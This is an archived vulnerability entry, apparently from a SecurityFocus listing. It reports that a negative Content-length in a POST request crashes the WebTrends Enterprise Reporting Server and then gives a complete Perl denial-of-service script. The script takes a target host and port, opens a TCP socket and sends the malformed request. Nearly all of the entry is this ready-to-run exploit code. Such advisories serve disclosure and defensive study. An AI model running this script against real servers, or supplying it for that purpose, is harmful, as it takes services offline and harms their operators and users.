source: https://www.securityfocus.com/bid/569/info
Specifying a negative content-length in a POST operation to the WebTrends Enterprise Reporting Server will crash the web server.
#!/usr/bin/perl -w
# Example DoS against WebTrends Enterprise Reporting Server
# 8/8/99
# rpc <jared@antisocial.com>
use IO::Socket;
die "usage: $0 <host> <port>" unless (@ARGV == 2);
($host, $port) = @ARGV;
$s = IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp')
or die "Can't create socket.";
print $s "POST /\r\n";
print $s "Content-type: text/plain\r\n";
print $s "Content-length: -1", "\r\n"x5;
print "done.\n";
